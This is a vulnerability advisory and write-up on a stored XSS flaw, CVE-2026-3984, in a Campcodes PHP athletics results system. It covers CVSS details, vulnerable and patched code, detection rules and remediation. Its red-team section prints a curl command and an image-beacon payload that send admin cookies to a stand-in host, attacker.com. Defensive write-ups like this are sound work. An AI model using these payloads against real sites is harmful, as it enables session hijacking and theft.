CVE-2026-3984

Executive Summary

CVE-2026-3984 is a publicly disclosed, unpatched stored Cross-Site Scripting (XSS) vulnerability in Campcodes Division Regional Athletic Meet Game Result Matrix System version 2.1. The flaw resides in the save_up_athlete.php file, where the a_name argument is insufficiently sanitized, allowing an attacker to inject arbitrary JavaScript or HTML. With a CVSS score of 3.5 (Low), the risk is limited by the requirement for user interaction (e.g., an admin viewing the injected data). However, the public availability of exploit code and the lack of a vendor patch elevate the urgency for defensive measures. This vulnerability is not part of a package ecosystem (NPM, PyPI, Go, Ruby) and is a standalone PHP application.

Supply Chain & Package Security

Not applicable – this is a standalone PHP application, not a package from NPM, PyPI, Go, or Ruby.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 3.5 (Low)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed to trigger the injection.
• User Interaction: Required (UI:R) – a victim must view the injected content.
• Scope: Unchanged (S:U) – the vulnerability does not affect other components.
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – limited modification of content.
• Availability Impact: None (A:N)
• Threat Level: Low, but with public exploit code, the risk of targeted attacks increases.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the save_up_athlete.php script. The application accepts user input via the a_name POST parameter and stores it in a database without proper sanitization or output encoding. When an administrator or other user views the athlete list (likely via a different page that retrieves and displays this data), the injected script executes in their browser context.

Root Cause: The a_name parameter is directly concatenated into SQL queries or HTML output without using htmlspecialchars(), strip_tags(), or prepared statements. This allows an attacker to submit payloads like <script>alert('XSS')</script>.

Attack Flow:

1. Attacker sends a POST request to save_up_athlete.php with a_name=<script>alert(document.cookie)</script>.
2. The server stores the malicious payload in the database.
3. An admin visits the athlete management page, which retrieves and renders the stored data.
4. The browser executes the injected script, potentially stealing session cookies or performing actions on behalf of the admin.

Vulnerable vs. Patched Code

Vulnerable Code (save_up_athlete.php):

<?php
// ... database connection ...
$a_name = $_POST['a_name'];
$sql = "INSERT INTO athletes (name) VALUES ('$a_name')";
mysqli_query($conn, $sql);
// ... redirect ...
?>

Patched Code (Recommended):

<?php
// ... database connection ...
$a_name = htmlspecialchars($_POST['a_name'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO athletes (name) VALUES (?)");
$stmt->bind_param("s", $a_name);
$stmt->execute();
// ... redirect ...
?>

The patch uses prepared statements to prevent SQL injection and htmlspecialchars() to neutralize XSS. Output encoding should also be applied when displaying the data.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Campcodes Division Regional Athletic Meet Game Result Matrix System 2.1.
• Access to the save_up_athlete.php endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/save_up_athlete.php.
2. Craft a POST request with a malicious payload:

   curl -X POST http://target/save_up_athlete.php \
        -d "a_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
   

3. Wait for an admin to view the athlete list (e.g., view_athletes.php).
4. The admin's browser executes the script, sending their cookies to the attacker's server.

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'http://attacker.com/log?data=' + document.cookie;
</script>

Blue Team

Detection & Prevention:

• Monitor HTTP POST requests to save_up_athlete.php for suspicious a_name parameters containing <script>, onerror=, or other HTML/JS constructs.
• Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
• Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
• Regularly audit database entries for unexpected HTML/script tags.

Lab Setup:

1. Deploy the vulnerable application in an isolated Docker container.
2. Use a tool like Burp Suite or OWASP ZAP to intercept and modify requests.
3. Simulate an admin viewing the athlete list to trigger the XSS.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /save_up_athlete.php with a_name containing <script>, onerror, onload, or javascript:.
  • Outbound connections from the server to unknown IPs on ports 80/443 (exfiltration).
• File IOCs:
  • Modified entries in the athletes table containing HTML/JS code.
• Log IOCs:
  • Web server logs showing a_name parameters with encoded or raw script tags.
  • Database logs showing INSERT statements with suspicious values.

Detection Engineering

YARA Rule

rule CVE_2026_3984_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting save_up_athlete.php a_name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-3984"
    strings:
        $xss1 = /a_name=.*<script/i
        $xss2 = /a_name=.*onerror/i
        $xss3 = /a_name=.*onload/i
        $xss4 = /a_name=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-3984 XSS Attempt on save_up_athlete.php
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects POST requests to save_up_athlete.php with XSS indicators in a_name parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/save_up_athlete.php'
    keywords:
        - 'a_name='
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in athlete names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-3984 XSS Attempt on save_up_athlete.php"; flow:to_server; http.method; content:"POST"; http.uri; content:"/save_up_athlete.php"; http.client_body; content:"a_name="; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application – If possible, take the system offline or restrict network access until a patch is applied.
2. Implement a WAF rule – Block POST requests to save_up_athlete.php containing XSS patterns.
3. Sanitize input – Apply htmlspecialchars() and prepared statements to all user inputs (see patched code above).
4. Enforce CSP – Add a Content-Security-Policy header: default-src 'self'; script-src 'self';.

Long-Term Fix:

• Since the vendor is unresponsive, consider rewriting the affected module or migrating to a different solution.
• Conduct a full security audit of the application for similar vulnerabilities.

Workaround:

• Disable the save_up_athlete.php endpoint if not essential, or restrict access via .htaccess:

  <Files "save_up_athlete.php">
      Require ip 192.168.1.0/24
  </Files>
  

Valters IT